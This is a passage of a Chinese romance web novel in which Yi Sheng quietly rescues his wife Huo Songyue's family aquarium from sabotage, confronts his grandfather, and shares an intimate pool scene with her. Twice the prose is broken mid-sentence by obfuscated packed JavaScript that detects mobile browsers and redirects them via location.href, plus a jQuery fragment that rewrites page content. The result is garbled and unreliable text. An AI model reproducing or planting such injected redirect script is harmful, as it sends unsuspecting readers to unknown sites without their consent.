况且,没有人能拒绝像火颂月这样让人哈特软软的“小比熊”。 莲雾的药浴很快进行完,倪桉把火颂月送到车上:“乖宝,忙完后记得多来陪我聊天~” 回程时车子路过RC的魔方大厦,火颂月下意识又看了下那惹眼的裸眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437671|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 3D大屏。 暮色西沉,昏昏天幕下的效果更加炫目,不少人在附近驻足拍摄。 拐过环岛的时候,火颂月好似瞥到了妈妈常用的商务车匆匆开进魔方大厦。 等火颂月凝神去看,又什么都没看到。 想到火女士此刻应该也看到了这个投放,火颂月随手拍了个照片发过去:“火女士,有排面哦~” 发过去的消息并没有立刻得到回复,火颂月权当火臻在忙,便没去打扰她。 等回到岛苑,火颂月巡视了一圈后花园的进度才心情极好地牵着莲雾往屋里走。 看到管家和陈姨在忙着张罗晚饭,火颂月心血来潮地凑过去:“我想给易嵊做点吃的,你们觉得什么上手更快?” 管家和陈姨对视一眼,心照不宣地拿出水果,沙拉酱和榨汁机。 火颂月倒是极其有自知之明,没有强行捣乱,乖乖地拿起水果刀开始试着做兔子苹果。 火颂月有点完美主义,雕刻兔耳朵的时候有一丝不够漂亮都会被她直接吃掉。 费了好大力气做好一盘,火颂月拍了照给易嵊发过去:“易先生什么时候回来呀?” 易嵊:“今日有事晚归,你自己先吃。” 看到消息,火颂月有一瞬间的失落。 她摸了摸自己吃水果吃得七分饱的小肚子,戳了一块小兔子苹果喂给眼巴巴的莲雾:“我的第一个幸运食客宝宝!谢谢捧场~” 当晚,易嵊很晚才回来。 彼时少女已经熟睡,却不忘给他留了一盏床头小夜灯。 手机不合时宜地嗡嗡震动,屏幕上是来自火臻的短信:“麻烦暂时对月月保密,事情已经在处理了,我不想她难过。” 从下午到晚上,从RC到寰海新区,面对着满缸漂浮的生物,易嵊第一次看到这位业界有名的女强人火臻红了眼眶。 倒不是因为眼前大量生物死亡造成的损失而崩溃,而是对自己失职没有保护好这些生物的愧疚,是对自己的丈夫和女儿的愧疚。 易嵊对火家的了解只源自于对火颂月的了解,他知道她成长在一个很好的家庭,有一群很好的家人。 知道他们可以为了对方付出很多,也很重视对方重视的东西。 听说和亲自感受带来的感觉是不同的。 看似纪委强势的火臻在意的太多了,她知道背后的推手是谁,于是来找了他。 也正是因为知道黑手的目的是为了用她拿捏火弈阳,她才更要保持沉默,隐忍地背下这一切,求他帮忙无声化解。 易嵊问她为什么。 火臻沉默了很久,才苦笑着跟他说:“易总,我爱我的孩子们,我不想因此让他们都难过。况且,让他们难过了,始作俑者也不会因此消失或者有什么损失,没有必要。” 他不认同。 他素来雷霆手段,查出始作俑者的下一秒就会让对方付出代价。 哪怕对方是自己的爷爷。 可是眼下,看着灯色映衬下少女安静的睡容,易嵊犹豫了。 只是设想一下她掉眼泪的画面,易嵊都不愿意。 琉璃糖罐罐在橙黄灯色下变得梦幻易碎,易嵊按灭手机,抬手在糖罐里投进两颗薄荷糖。 28. 第 28 章 睡意朦胧中,火颂月感觉自己被拉进了一个宽厚的怀抱,熟悉的气息像是一款安神香,让她不由往那个怀抱中贴得更近。 次日一早,火颂月醒来后发现床的另一侧空空如也。 床头柜上放着一盘切好兔子苹果,果盘下压着一张便签:“等忙完好好陪你。” 她捏着便签滚回床上,拿起手机给易嵊回消息:“田螺先生早上好,我今天要回工作室画图,可能也会晚归,不用特地来接我。” 收到火颂月消息的时候,易嵊在渔益生物的大厅里碰到了晨昉生物的李晨昉——寰海第一批生物引进的合作方,也是那批损亡生物的供货方。 李晨昉满脸疲色,眼下透着青灰,看到易嵊,李晨昉礼貌颔首,而后像是想到了什么一般,在二人就要错身的时候主动搭话:“易总!冒昧问一下,您来这边是要和渔益合作吗?” 易嵊并未应答,而是静静看着对方。 李晨昉愣了一下,意识到自己的唐突连忙解释:“我刚刚因为寰海的事在他们总裁办吃了闭门羹,我的意思是,您是来帮寰海的吗?” 关于易嵊和火家的关系,李晨昉多多少少了解一些,毕竟皇红珊瑚不是一般关系能弄得到的。 昨天的事情过于突然,巨大的生物缺口让他一时半会也有心无力,只能尽可能利用自己的人脉帮火臻协调。 可等他联系了许多好友被拒后才意识到这事背后好像有着一个巨大的黑色推手,在事发之后快速拨弄舆论和施加压力,让火臻找不到供应源,让寰海新馆无法顺利开业。 李晨昉自认在业内也算是能说得上话,可是眼下对方一听是寰海,居然无人肯给他几分薄面。 李晨昉黑灰色的眸子里带着几分卑微:“如果是,我替火臻谢谢您,我不知道背后的黑手是谁,但现在好像只能求您出手了。” “你只是寰海的供应商?” 易嵊没说别的,而是问了一句毫不相干的话。 李晨昉怔了片刻,苦笑道:“我倒是希望不只是这个……我也不奢求什么别的,只要她好就行。” 闻言,易嵊深深看他一眼,而后随着渔益的特助进了VIP电梯。 同渔益老总的谈判的内容都在易嵊的意料之中,他三两句钓出对方的真实顾虑后很快敲定了合作。 新一批生物供货的问题解决后,剩下的就是扳回舆论,寰海自己完全可以应对。 回到RC顶楼,路明将李晨昉的背调尽数交给了易嵊,里边包含了二十多年前他和火臻那段广为人知的联姻纠葛,以及火臻丧夫后李晨昉的频繁示好。 “啧,易总领了个证就是不一样,连八卦都开始好奇了?” 简修仁不知何时溜了进来,随手拿起桌子上的背调看了几眼:“这火家是不是祖传的闪婚啊?怎么火臻和她先生也是闪婚?还为了一个穷小子拒绝联姻差点放弃寰海的继承权?” 见易嵊不搭腔,简修仁正色道:“咳,寰海这趟浑水你趟得倒是利索,你是想气死你阿公?” “他动手的时候就该想到这些,我早前已经警告过他了。”易嵊随手将看过的资料丢进碎纸机,“我甚至,还没对他出手。” “所以,你查出来什么了没?他为什么盯着寰海?” “你还记得火弈阳吗?” 易嵊这没由来的一句话让简修仁愣了一瞬。 “火弈阳?耳熟啊!”简修仁垂眸沉思片刻,蓦地瞪大了狐狸眼,“裴妍暗恋了四年的那个臭小子!!” 易嵊:…… 简修仁:“关他什么事啊?他好像销声匿迹很久了?” 易嵊淡淡睨他一眼:“他快回来了。” 简修仁反应了有一会儿才皱眉冒出一句脏话:“回就回呗,这么多年不知道死哪去了,现在回来黄花菜都快凉了!” “他回来又怎么样呢?真以为裴妍那个没良心的有多念人情?!我一晚上没睡帮她控制舆情,她早上连个电话都不接!火弈阳一个啥也没干的隐形人回来了能干啥?靠脸吃饭吗?” 自顾自说了一通,简修仁越想越气,瞪着易嵊:“你没事提他干嘛啊!存心找我不痛快?” 桌边的手机嗡嗡震动,易嵊看了眼来电人,没什么情绪地告知简修仁:“他是这场局的关键,你想办法联系一下在英国的他。” 简修仁拍案而起:“你怎么不去?” 易嵊:“我、Luna和他的关系,就像你、裴妍和他的关系,不一样的是,我和Luna是合法夫妻。” 简修仁反应了一会儿才意识到易嵊说的是,哥哥和妹夫的关系。 他火弈阳算什么妹夫?!他顶多算个懦夫! 她裴妍又是他简修仁哪门子的妹妹?滚过床单的那种妹妹吗? 简修仁气得牙痒痒,可看易嵊不像是开玩笑的样子,又事关裴妍和寰海,他倒是没再推辞,骂骂咧咧地去找人脉了。 手机来电二次响起,不同的是这次来电人从老爷子换成了易维芸。 易嵊接起电话,那端传来姑姑担忧的声音:“阿嵊,怎么了?老爷子气得两顿没吃,你要不来一下?他要是在我这儿撅过去了,大哥又要拿这事做文章了。” 因为火臻的缘故,易嵊本无意直接和老爷子对上,没想到对方倒是不择手段地想要见自己。 他望着窗外西斜的日光,冷淡回道:“知道了。” 车子驶入易维芸的别苑,易嵊被老爷子的人引去了东院的凉亭花园。 入口处有保镖守着,亭子里就老爷子一个人,易家三兄妹都被支开了。 老爷子见他来了,雪茄抽得更狠了:“和享梦家那丫头联姻,这场闹剧就能立马结束。” “您好像还没搞清楚状况,”易嵊冷笑一声,“您所谓的闹剧并没有造成什么影响,我也不是来跟您服软的。” 易老爷子隔着烟雾挑眉看过来。 易嵊单手插袋,居高临下地睨着他,漆黑的长眸气势凌人:“我是来警告您的,如果您执意盯着火家,那么您费尽心血为火弈阳铺的网会被我撕碎,不信的话您可以试试。” 听起易嵊提到火弈阳,老爷子本就难看的脸色更黑了几分。 他将烟捻灭在青玉烟灰缸里,眉眼凝着一汪冷光,像一匹无情的老狼:“易嵊,我以为经历过易喆的事,你会因为你的固执学到点教训,看看viola,你像她,却又没有她那么识时务。” “不要试图去争不适合你的东西!财富权利,你要什么都可以,人心和感情最不可控也不适合我们家的人。你也别像viola那样头破血流了才知阿公的好!她若早些听我的话去联姻,也不会有易喆这样的悲剧。” 他反复提起易喆,就像拿捏住了这个名字会是易嵊的软肋。 如他所愿,易嵊果然在听到这个名字的时候形容微怔,有几分失神。 不过很快,易嵊本来没什么情绪的脸阴沉地滴水:“别用你的浅薄的认知对我妄下定义,你做不到是你的问题,不代表我做不到。” “既然您又提起易喆,那我们就新账旧账一起算,看看是谁吃教训。” 易老爷子气得一口气差点没上来,拿起烟灰缸丢了过去。 青玉擦着易嵊的耳畔飞过,碎在身后的柱子上,老头子一边剧烈咳嗽一边怒目瞪着易嵊:“你非要站到我们一家人的对立面?!” “一家人?” 易嵊冷笑道,“这个家只存在于你的臆想。” “你回来!你个逆子!!敢动弈阳你就等着寰海崩盘吧!” 老爷子磅礴的怒气让一众保镖都严阵以待,犹豫着要不要拦下易嵊。 可真到了易嵊面前,看着男人比家主还凶狠凌厉的眼神,保镖们立马又安静退下。 出了东院大门,易维芸满脸关切地迎上来:“怎么了?好端端的昨晚连夜飞过来,一直生气,你没事吧?” 易嵊摇头:“私生子的事您想必也知道了?” 易维芸皱眉:“我还没见过他人,他做什么了?” “没什么,老爷子异常看重这位,易维晟和易维醇怕不是要来找您联手了。” “有些人已经来过几次了,你知道的,我对遗产没兴趣,”易维芸淡淡笑着,眼底却闪着冰冷的光,“我撑到现在,只是为了不让这群逼死小喆的人拿到一分好处……阿嵊你需要我做什么就说。” 没人能想到,看似光鲜让人艳羡的顶豪易家早已四分五裂,人心六散。 每个人都同样地厌恶着这个家,厌恶着造成这一切的始作俑者。 可偏偏,那个始作俑者精明一世,临到老了,竟然妄图培养被别人家养出来的“孝子”来做自己的继承人,给自己养老。 当真是,可笑至极。 每次见完本家的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唯一真实的是,眼前的拥有一头海藻般美丽长卷发的少女。 她灿烂又自由,像是童话世界引路人,让他重新听到自己的心跳声。 扑通—— 扑通—— 心跳和呼吸趋于同频。 在少女欲后撤的时刻,易嵊蓦地横手揽过少女纤细的腰身,将她紧紧箍进怀中。 像是恶毒的海妖发了狠地掠夺。 水波慢摇,氧气与感官全部被对方掌控。 直到少女发出可怜的呜呜声,他才后知后觉地生出一点怜悯,托着人上浮。 “咳咳——” 水面之上,少女趴在男人宽厚的肩膀上轻咳几声,软绵绵地控诉,“易嵊,混蛋。” “嗯,混蛋。” 男人冰凉的指腹擦过少女泛红的眼尾,断眉微垂,带着几分自嘲,“所以,不要轻易带混蛋回家。” “嗯?” 火颂月把小脑瓜搭在男人颈窝蹭了蹭,“哎,谁让我先图了混蛋的财色呢。” “是吗?” 晚风渐凉,素来空荡的胸膛却滚烫又沸腾。 易嵊将火颂月重新抵在泳池一角,从眉心到唇间啄吻着一路往下。 可怜的两片式泳衣近乎摇摇欲坠,他呼吸灼热,长眸翻滚着浓烈晦涩的情绪:“乖孩子,告诉我怎么图的?” 冰凉的池水从易嵊的发梢坠落在少女的锁骨窝,她莫名一抖,像是被海妖蛊惑的小美人鱼,主动服从欲望的引导,缠上他滚烫的身体:“请您,教我。” 好乖好乖。 好想完全地把她藏起来。 好想让她永远只属于自己,永远只被自己看着。 空气里噼里啪啦响起碎响,是理智崩弦的声音。 火颂月尝到了易嵊喜欢的薄荷味,是火辣的,也是让人凉得瑟瑟发抖的。 她抖着眼角的泪说不用了,却在男人离开的下一秒哼哼唧唧地又缠上来。 她哑着支离破碎的声音说要立个约法三章,这不许那也不行…… 最后出口的却是:“不许走。” 易嵊被她折腾得浑身肌肉邦硬,却在看到她眼泪的时候耐着性子温柔吻掉:“宝宝乖……”